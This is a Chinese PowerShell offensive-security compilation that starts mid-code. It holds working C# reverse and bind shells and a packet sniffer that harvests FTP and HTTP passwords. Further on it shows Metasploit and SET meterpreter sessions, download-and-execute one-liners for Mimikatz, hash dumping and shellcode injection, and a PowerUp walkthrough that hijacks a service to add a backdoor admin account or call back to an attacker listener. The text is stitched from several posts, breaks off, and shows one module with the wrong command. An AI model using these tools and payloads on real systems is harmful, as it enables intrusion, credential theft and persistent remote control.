CmdProc.StartInfo.FileName = "cmd.exe"; CmdProc.StartInfo.UseShellExecute = false; CmdProc.StartInfo.RedirectStandardInput = true; CmdProc.StartInfo.RedirectStandardOutput = true; CmdProc.StartInfo.RedirectStandardError = true; CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler); CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler); CmdProc.Start(); CmdProc.BeginOutputReadLine(); CmdProc.BeginErrorReadLine(); while (true) { try { UserInput.Append(streamReader.ReadLine()); CmdProc.StandardInput.WriteLine(UserInput); UserInput.Remove(0, UserInput.Length); } catch (Exception) { streamReader.Close(); streamWriter.Close(); CmdProc.Kill(); break; } } } } public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception) { } } } } '@
::run($addr, $port, $SleepTime)
Bind TCP SHELL
#!c# $port = 2233 Add-Type @' using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Text; using System.Diagnostics; public class BindTCPShell { public static NetworkStream stream; public static StreamReader streamReader; public static StreamWriter streamWriter; public static StringBuilder UserInput; public static void run(int port) { try { IPAddress localAddr = IPAddress.Parse("127.0.0.1"); TcpListener server = new TcpListener(localAddr, port); while (true) { server.Start(); TcpClient client = server.AcceptTcpClient(); Byte
bytes = new Byte
; Process CmdProc; CmdProc = new Process(); CmdProc.StartInfo.FileName = "cmd.exe"; CmdProc.StartInfo.UseShellExecute = false; CmdProc.StartInfo.RedirectStandardInput = true; CmdProc.StartInfo.RedirectStandardOutput = true; CmdProc.StartInfo.RedirectStandardError = true; CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler); CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler); CmdProc.Start(); CmdProc.BeginOutputReadLine(); CmdProc.BeginErrorReadLine(); stream = client.GetStream(); streamReader = new StreamReader(stream, System.Text.Encoding.Default); streamWriter = new StreamWriter(stream, System.Text.Encoding.Default); UserInput = new StringBuilder(); while (true) { try { UserInput.Append(streamReader.ReadLine()); UserInput.Append("\n"); CmdProc.StandardInput.WriteLine(UserInput); UserInput.Remove(0, UserInput.Length); } catch (Exception) { streamReader.Close(); streamWriter.Close(); CmdProc.Kill(); break; } } } } catch (SocketException) { } } public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception ) { } } } } '@
::run($port)

SNIFFER
注意这里需要administrator权限。下面的demo只是做到了TCP解析的部分,filter也只是简单的给出了HTTP和FTP的筛选,关于IP和TCP解包的部分我已经在注释中给出了。 如果有其他需求可以自行修改。
#!c# $Addr = "192.168.200.173" Add-Type @' using System; using System.Collections.Generic; using System.Text; using System.Text.RegularExpressions; using System.Net.Sockets; using System.Net; using System.IO; public class Sniffer { public static void run(string Addr) { try { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); using (socket) { socket.Bind(new IPEndPoint(IPAddress.Parse(Addr), 0)); System.Console.WriteLine("
binded to
"); System.Console.WriteLine(); byte
inValue = BitConverter.GetBytes(1); // {1,0,0,0} for receiving all packets. byte
outValue = BitConverter.GetBytes(0); socket.IOControl(IOControlCode.ReceiveAll, inValue, outValue); byte
buf = new byte
; IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0); int index = 0; while (true) { index++; ipep.Address = IPAddress.Any; ipep.Port = 0; EndPoint ep = (EndPoint)ipep; int bufferReceivedSize = socket.ReceiveFrom(buf, ref ep); IP ipPacket = new IP(buf); if (ipPacket.protocol == 6) { TCP tcp = new TCP(ipPacket.data); // System.Console.WriteLine("{0} : {1} --> {2} : {3} bytes.", (protocol)ipPacket.protocol, ipPacket.srcAddr, ipPacket.dstAddr, ipPacket.dataLen); // System.Console.WriteLine("{0}=>{1}", tcp.srcPort, tcp.destPort); DataFilter dataFilter = new DataFilter(tcp.data); } } } } catch (SocketException err) { System.Console.WriteLine(err.Message); return; } } } public enum protocol : byte { //Reference : http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers ICMP = 1, IGMP = 2, GGP = 3, IPCAP = 4, IPSTREAM = 5, TCP = 6, EGP = 8, IGRP = 9, UDP = 17, IPV6OIPV4 = 29 } class IP { //you can find the details about IP packet decoding here.
public int version; //
public int headLen; //
public int service; //
public int dataLen; //
public int IPIdentificationNumber; //
public int flag; //
public int fragmentOffset; //
public byte TTL; //
public int protocol; //
public int checkSum; //
public IPAddress srcAddr; //
public IPAddress dstAddr; //
public byte
option; //
#not sure, exists if headLen > 20. public byte
data; //
public IP(byte
buf) { version = (buf
& 0xf0) >> 4; headLen = (int)(buf
& 0x0f) * 4; service = (int)(buf
); dataLen = ((int)buf
<< 8) + (int)buf
; IPIdentificationNumber = ((int)buf
<< 8) + (int)buf
; flag = buf
>> 5; fragmentOffset = (((int)buf
& 0x1F) << 8) + (int)buf
; TTL = buf
; protocol = (int)buf
; checkSum = ((int)buf
<< 8) + (int)buf
; byte
addr = new byte
; //srcAddr Array.Copy(buf, 12, addr, 0, 4); srcAddr = new IPAddress(addr); //dstAddr addr = new byte
; Array.Copy(buf, 16, addr, 0, 4); dstAddr = new IPAddress(addr); if (headLen > 20) { option = new byte
; Array.Copy(buf, 20, option, 0, option.Length); } data = new byte
; Array.Copy(buf, headLen, data, 0, data.Length); } } public class TCP { public int srcPort = 0; public int destPort = 0; public uint sequenceNo = 0; public uint nextSeqNo = 0; public int headLen = 0; public int flag = 0; public int windowSize = 0; public int checkSum = 0; public int urgPtr = 0; public byte
option; public byte
data; public TCP(byte
buf) { srcPort = ((int)buf
<< 8) + (int)buf
; destPort = ((int)buf
<< 8) + (int)buf
; sequenceNo = ((uint)buf
<< 24) + ((uint)buf
<< 16) + ((uint)buf
<< 8) + ((uint)buf
); nextSeqNo = ((uint)buf
<< 24) + ((uint)buf
<< 16) + ((uint)buf
<< 8) + ((uint)buf
); headLen = ((buf
& 0xF0) >> 4) * 4; flag = (buf
& 0x3F); windowSize = ((int)buf
<< 8) + (int)buf
; checkSum = ((int)buf
<< 8) + (int)buf
; urgPtr = ((int)buf
<< 8) + (int)buf
; if (headLen > 20) { option = new byte
; Array.Copy(buf, 20, option, 0, option.Length); } data = new byte
; Array.Copy(buf, headLen, data, 0, data.Length); } } public class DataFilter { Regex SMTPAuth = new Regex("AUTH LOGIN|AUTH PLAIN", RegexOptions.IgnoreCase); public DataFilter(byte
buf) { String stringsData = System.Text.Encoding.Default.GetString(buf); // System.Console.WriteLine(stringsData); List HTTPdatas = HTTPFilter(buf, stringsData); List FTPdatas = FTPFilter(buf, stringsData); } public static List FTPFilter(byte
buf, String stringsData) { Regex FTPUser = new Regex("(?<=USER )
*", RegexOptions.IgnoreCase); Regex FTPPass = new Regex("(?<=PASS )
*", RegexOptions.IgnoreCase); List r = new List(); if (FTPUser.IsMatch(stringsData)){ MatchCollection username = FTPUser.Matches(stringsData); MatchCollection password = FTPUser.Matches(stringsData); System.Console.WriteLine(); System.Console.WriteLine(String.Format("FTP username:{0} password:{1}", username
.ToString(), password
.ToString())); r.Add(String.Format("FTP username:{0} password:{1}", username
.ToString(), password
.ToString())); } return r; } public static List HTTPFilter(byte
buf, String stringsData) { String
HTTPfileds = { //usernames "log","login", "wpname", "ahd_username", "unickname", "nickname", "user", "user_name", "alias", "pseudo", "email", "username", "_username", "userid", "form_loginname", "loginname", "login_id", "loginid", "session_key", "sessionkey", "pop_login", "screename", "uname", "ulogin", "acctname", "account", "member", "mailaddress", "membername", "login_username", "login_email", "loginusername", "loginemail", "uin", "sign-in", //passwords "ahd_password", "pass", "password", "_password", "passwd", "session_password", "sessionpassword", "login_password", "loginpassword", "form_pw", "pw", "userpassword", "pwd", "upassword", "login_password", "passwort", "passwrd", "wppassword", "upasswd" }; List r = new List(); for (int i = 0; i < HTTPfileds.Length; i++) { Regex testPattern = new Regex(String.Format("{0}=(
+)", HTTPfileds
), RegexOptions.IgnoreCase); if (testPattern.IsMatch(stringsData)) { MatchCollection m = testPattern.Matches(stringsData); // System.Console.WriteLine(); System.Console.WriteLine(m
); // System.Console.WriteLine(stringsData); r.Add(m
.ToString()); } } return r; } } '@
::run($Addr)

前言

Powershell犹如linux下的bash,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 Powershell强大的功能特性给windows管理带来了极大的便利,同时也更加便于windows下的渗透测试。

PowerShell Execution Policy

Powershell脚本默认情况下无法双击或在cmd下执行。在执行时需要通过一些方法绕过该策略。 最简单的方法就是执行powershell.exe附加需要执行的命令,也可以将要执行的脚本直接复制进powershell的窗口。 当然也可以Download and execute,如下面示例中一样。 如果需要执行ps1文件时,也可以这样:
PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1
不建议使用其他方法全局改变执行策略,如果场景不同可以根据参考自行选择执行方式。
https://www.netspi.com/blog/entryid/238/15-ways-to-bypass-the-powershell-execution-policy

Reverse the Shell

在遇到防护软件时,可以使用powershell执行shellcode返回shell。执行脚本可以用msf生成,也可以用set工具包生成,注意的是msf生成的ps1文件,而set生成的是bat文件。 下面是在set中生成的过程:
Select from the menu: 1) Social-Engineering Attacks 2) Fast-Track Penetration Testing 3) Third Party Modules 4) Update the Metasploit Framework 5) Update the Social-Engineer Toolkit 6) Update SET configuration 7) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set> 1 ..SNIP... Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) SMS Spoofing Attack Vector 8) Wireless Access Point Attack Vector 9) QRCode Generator Attack Vector 10) Powershell Attack Vectors 11) Third Party Modules 99) Return back to the main menu. set> 10 The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventative technologies. 1) Powershell Alphanumeric Shellcode Injector 2) Powershell Reverse Shell 3) Powershell Bind Shell 4) Powershell Dump SAM Database 99) Return to Main Menu set:powershell>1 set> IP address for the payload listener: 192.168.200.159 set:powershell> Enter the port for the reverse
:4444
Prepping the payload for delivery and injecting alphanumeric shellcode...
Generating x86-based powershell injection code...
Finished generating powershell injection bypass.
Encoded to bypass execution restriction policy...
If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/ set> Do you want to start the listener now
: : yes ..SNIP...
Processing /root/.set/reports/powershell/powershell.rc for ERB directives. resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (/root/.set/reports/powershell/powershell.rc)> set lport 4444 lport => 4444 resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (/root/.set/reports/powershell/powershell.rc)> exploit -j
Exploit running as background job. msf exploit(handler) >
Started reverse handler on 0.0.0.0:4444
Starting the payload handler...
Sending stage (769024 bytes) to 192.168.200.158
Meterpreter session 1 opened (192.168.200.159:4444 -> 192.168.200.158:49818) at 2014-10-23 18:17:35 +0800 msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 WIN-M49V8M0CSH2\server @ WIN-M49V8M0CSH2 192.168.200.159:4444 -> 192.168.200.158:49818 (192.168.200.158)
生成的文件在/root/.set/reports/powershell/下。 其中x86_powershell_injection.txt为bat文件,可以直接改名运行。 在这里有个技巧可以通过powershell一句话直接下载文件。
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.200.159/backdoor','backdoor.bat')
然后再执行就可以得到meterpreter会话了。 并且可以正常执行cmd命令、dump hash明文等操作。

Dump the hash

当然在仅仅需要dump hash时,也可以借助powershell来完成。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Dump the plain Password

同样也可以用下面的方式(执行powershell版的Mimikatz)获取明文。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
值得注意的是在这里也可以通过Command参数执行Mimikatz命令。

Memory Dumping

Powershell也可以完成像procdump一样的工作,获取某个进程的dumps。 这里演示获取lsass.exe的dumps,然后再用Mimikatz从dumps中获取明文。 然后将lsass dumps文件下载回来用Mimikatz分析可以得到明文密码。 当然内存dumps不仅仅可以获取windows密码,往往进程内存中或许会储存其他重要的信息或数据。
参考|http://blog.spiderlabs.com/2012/07/pentesting-like-an-eastern-european.html

Execute the shellcode

Powershell由于丰富的扩展功能使得其调用windows API非常方便,所以同样也可以执行shellcode,这一过程如下:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode –help
但是在这里有个问题,就是x64下shellcode已有的很少,往往通过网上搜集的shellcode都是x86的。如果直接执行x86的shellcode则会出错。 不过Invoke-Shellcode.ps1脚本默认是将shellcode注入在powershell.exe进程中,那么便可以用64位系统环境下32位的powershell.exe执行x86的shellcode,过程如下:
c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Shellcode 0x90,0x90,0x90 ...
并且这一过程适用于大部分msfpayload生成的shellcode。当然在windows下执行shellcode也可以用其它的方法
https://github.com/inquisb/shellcodeexec
不过这个方法并不能bypass AV。但是大家可以根据源码自行bypass。

Powershell Remoting简介

Powershell Remoting建立在windows WinRM服务之上,可以一对一或一对多远程控制,也可以建立HTTP 或 HTTPS的“listeners”,使用WS-MAM协议接收远程传递的命令。 Windows 远程管理(WinRM)是 WS-Management 协议的 Microsoft 实现,该协议为使用 Web 服务的本地计算机和远程计算机之间的通信提供了一种安全的方式。 也就是说在WS-MAN协议基础上,客户端运行环境可以多样化。
https://github.com/Openwsman/openwsman

图片来源:v3 Secrets of PowerShell Remoting

远程管理

Powershell Remoting在windows server 2008以前默认是不开启的,需要通过administrator用户执行Enable-PSRemoting命令开启。 在windows server 2012中,Powershell Remoting默认开启。 在windows下,powershell默认使用winrm进行远程管理,winrm版本不同默认的监听端口也不同。如下:

The default ports for winrm 1.1 are http port 80 and https port 443 The default ports for winrm 2.x are http port 5985 and https port 5986

可以在参考
http://technet.microsoft.com/en-us/library/ff520073(WS.10).aspx
通过Enable-PSRemoting命令打开PS远程,默认是启动了Kerberos认证。这个方法只适合两台电脑在相同域或信任域内的指定电脑(名字可以带后缀).但它不支持跨域、域外或IP地址。 如果要跨域、或指定IP地址执行时我们可以在客户端这里执行下面的代码,需要将所有或单一远程主机添加在信任表中。
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
删除所有远程信任主机
Clear-Item WSMan:\localhost\Client\TrustedHosts
如果要删除单一远程主机,则可以执行:
$newvalue = ((Get-ChildItem WSMan:\localhost\Client\TrustedHosts).Value).Replace("computer01,","") Set-Item WSMan:\localhost\Client\TrustedHosts $newvalue
更改computer01。 列出所有远程信任主机
Get-Item WSMan:\localhost\Client\TrustedHosts

提示框


在使用远程执行时如果只提供用户名,那么则会弹窗输入密码。此时我们可以建立PSCredential对象将用户名和密码保存在里面。然后再传递给-Credential参数。-ScriptBlock参数后跟要执行的代码。
$UserName = "admin3" $serverpass = "admin123!@" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password) invoke-command -ComputerName localhost -Credential $cred -ScriptBlock { ipconfig }
使用help * -Parameter computername命令可以列出所有默认可以远程使用的命令。并且认证过程都可以像上面的代码一样传递$cred。 之后写个for循环就可以一对多的执行了。 如果输出内容过于冗杂,还可以使用ConvertTo-Csv或者ConvertTo-Html将powershell对象的输出转换为html或者csv。 如果想一对一获取交互式powershell,可以像这样执行Enter-PSSession:
Enter-PSSession -ComputerName 192.168.200.161 -Credential $cred

多任务分发

在使用invoke-command 的时候,computername 可为多个参数。在执行的时候可以使用-Asjob参数将执行过程放在后台。 接收回显的时候可以使用get-job查看job id,然后用receive-job接收全部回显结果。 但是如果我只是想查看某个远程主机的执行结果呢? 那么就可以像下面这样做:
Get-Job -Id 1 | select -ExpandProperty childjobs
得到child job id之后,再用 receive-job 接收回显结果。

域内信息搜集

基本的信息搜集(日志、进程、服务等)可以靠上面列出的命令来收集,但是远程执行invoke-command是需要凭证的,如果是在域内我们是不是可以先用nltest搜集下信任域? 在windows中有个System.DirectoryServices.ActiveDirectory命名空间,和windows域有关。 其下有个类Domain,其中GetAllTrustRelationships()方法可以获得信任域。 那么在powershell就可以这样执行:
(
::GetCurrentDomain()).GetAllTrustRelationships()
获得域之前的信任关系。 如果需要自行开发脚本,也可以参考下面的文档。 除此之外,还记得之前metasploit笔记中那个local_admin_search模块吗?veil-powerview中也有通过相同的方式实现了这一过程。 两种不同的脚本都通过调用OpenSCManagerA API连接远程主机测试是否成功。 Local_admin_search.rb Invoke-CheckLocalAdminAccess 附veil-powerview作者博客:http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/中的测试截图:

参考


http://powershell.org/wp/2012/08/06/ebook-secrets-of-powershell-remoting/

powershell pentest project 学习推荐

整理的过程发现了很多牛人的博客和项目,在这里分享一下。
https://github.com/samratashok/Kautilya

https://github.com/samratashok/nishang

https://github.com/clymb3r

https://github.com/samratashok/nishang/tree/master/Antak- WebShell

https://github.com/Veil-Framework/Veil-PowerView

https://github.com/mattifestation/PowerSploit

https://github.com/HarmJ0y/PowerUp

介绍

通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

使用

要使用Powerup,首先需要下载此脚本:Powerup,之后加载此脚本:
#!bash E:> powershell.exe -nop -exec bypass PS E:\> Import-Module .\PowerUp.psm1
加载完成以后,便可以使用Powerup中的所有模块了。 通过如下命令可以查看所有模块:
#!bash PS E:\> Get-Command -Module powerup
输入可以通过tab键来自动补全,如果要查看各个模块的详细说明,可以使用"Get-help
-full"来查看,比如"Get-Help Find-DLLHijack -full", 如果要将输出的结果导出到一个文件可以使用Out-File,如下:
#!bash PS E:\> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

上述命令使用了Invoke-AllChecks,脚本将会进行所有的检查

在cmd环境下,可以使用下列方式来运行该脚本:
#!bash E:\> powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
如果你想在内存加载此脚本,可以用下列方式:
#!bash E:\> powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP'); Invoke-AllChecks"
除此之外,Metasploit上同样包含执行powershell脚本的模块exec_powershell.rb,通过此模块,可以通过msf会话来执行powershell。

模块介绍

Find-DLLHijack

检查每个进程所加载的模块,返回已经加载且不在其可执行目录的模块的目录。 执行方式:
#!bash PS C:\> Find-DLLHijack #返回所有的dll路径 PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles #返回排除C:\Windows\*; C:\Program Files\*;C:\Program Files (x86)\*以外的dll路径 PS C:\> Find-DLLHijack -ExcludeOwned #返回不属于当前用户所有进程权限的dll路径

Find-PathHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。 执行方式:
#!bash PS C:\> Find-PathHijack

Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。 执行方式:
#!bash PS C:\>get-ApplicationHost PS C:\>get-ApplicationHost | Format-Table -Autosize # 列表显示

Get-ModifiableFile

检查某个文件当前用户是否拥有修改权限,并返回有权限的文件路径。 执行方式:
#!bash PS C:\> '"E:\temp\123123.xlsx" -f "C:\LibAntiPrtSc_ERROR.log"' | Get-ModifiableFile

前面为文件路径

Get-RegAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。 执行方式:
#!bash PS C:\> Get-RegAlwaysInstallElevated

Get-RegAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。与msf windows_autologin.rb模块相同。 执行方式:
#!bash PS C:\> Get-RegAutoLogon

Get-ServiceDetail

返回某服务的信息。 执行方式:
#!bash PS C:\> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。 执行方式:
#!bash PS C:\> Get-ServiceFilePermission

Get-ServicePermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。 执行方式:
#!bash PS C:\> Get-ServicePermission

Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径,类似于msf的trusted_service_path.rb。 此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。 比如C:\program files\hello.exe,会被解释为C:\program.exe以及C:\program files\hello.exe 执行方式:
#!bash PS C:\>Get-ServiceUnquoted

Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:\sysprep\sysprep.xml c:\sysprep\sysprep.inf c:\sysprep.inf c:\windows\Panther\Unattended.xml c:\windows\Panther\Unattend\Unattended.xml c:\windows\Panther\Unattend.xml c:\windows\Panther\Unattend\Unattend.xml c:\windows\System32\Sysprep\unattend.xml c:\windows\System32\Sysprep\Panther\unattend.xm
l 执行方式:
#!bash PS C:\> Get-UnattendedInstallFile

Get-VulnAutoRun

检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。 注册表检查的键值为:
#!bash HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
执行方式:
#!bash PS C:\> Get-VulnAutoRun

Get-VulnSchTask

返回当前用户能够修改的计划任务程序的名称和路径。 执行方式:
#!bash PS C:\> Get-VulnSchTask

Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。 执行方式:
#!bash PS C:\>get-webconfig PS C:\>get-webconfig | Format-Table -Autosize #列表显示

Invoke-AllChecks

执行所有的脚本来检查。 执行方式:
#!bash PS C:\> Invoke-AllChecks

Invoke-Service


Invoke-ServiceDisable 禁用服务 Invoke-ServiceEnable 启用服务 Invoke-ServiceStart 启动服务 Invoke-ServiceStop 停止服务
执行方式为:
#!bash PS C:\> Invoke-ServiceDisable -ServiceName 服务名称。
Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。 执行方式:
#!bash PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号 PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号 PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。 PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
默认的账号可以通过修改默认参数来修改,如下图:

Restore-ServiceBinary

恢复服务的可执行文件到原始目录。 执行方式:
#!bash PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。 执行方式:
#!bash PS C:\> Restore-ServiceBinary -ServiceName VulnSVC

Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的dll。 执行方式:
#!bash PS C:\> Write-HijackDll -OutputFile 'E:\temp\test.dll' -Command 'whoami'

Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。 执行方式:
#!bash PS C:\> Write-UserAddMSI

Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。 执行方式:
#!bash PS C:\> Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号 PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号 PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组。 PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户。 执行方式:
#!bash PS C:\> Install-ServiceBinary -ServiceName DHCP PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

实战提权

测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。 首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:
#!bash C:\Windows\system32>net user powerup 1 /add
查看powerup账号权限: 使用powerup账号登陆系统,加载Powerup: 执行Invoke-AllChecks:
#!bash PS E:\> Invoke-AllChecks
执行以后找到下列问题:
#!bash
Checking for unquoted service paths... ServiceName : CDROM_Detect Path : C:\Program Files\4G USB Modem\4G_Eject.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path ServiceName : hMailServer Path : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path
Checking service executable and argument permissions... ServiceName : wampapache Path : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe StartName : LocalSystem AbuseFunction : Install-ServiceBinary -ServiceName 'wampapache' ServiceName : wampmysqld Path : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe StartName : LocalSystem AbuseFunction : Install-ServiceBinary -ServiceName 'wampmysqld'
可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:
#!bash PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123
之后当管理员运行该服务的时候,则会添加我们的账号,运行前: 运行服务以后: 查看该账号权限: 当然,除了添加账号,我们同样可使用msf获得meterpreter会话。 使用web_delivery 模块开启监听:
#!bash msf > use exploit/multi/script/web_delivery msf exploit(web_delivery) > set URIPATH / URIPATH => / msf exploit(web_delivery) > set lport 8888 lport => 8888 msf exploit(web_delivery) > set target 2 target => 2 msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(web_delivery) > set SRVPORT 8080 SRVPORT => 8080 msf exploit(web_delivery) > set LHOST 192.168.74.1 msf exploit(web_delivery) > exploit
执行如下命令:
#!bash PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -Command "powershell.exe -nop -w hidden -c `$m=new-object net.webclient;`$m.proxy=
::GetSystemWebProxy();`$m.Proxy.Credentials=
::DefaultCredentials;IEX `$m.downloadstring('http://192.168.74.1:8080/');"

要注意 $ 符号前面要加`来转义

当管理员运行此服务以后则获取高权限的meterpreter会话 提权以后,使用Restore-ServiceBinary 恢复文件:
#!bash PS E:\> Restore-ServiceBinary -ServiceName 'wampapache'
可以看到,我们使用powerup成功提权了。当然碰到实际的环境可以根据不同环境不同方式来进行提权。

小结

Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。

MOF后门

Managed Object Format (MOF)是WMI数据库中类和类实例的原始保存形式。具体介绍可以阅读
http://drops.wooyun.org/tips/10346
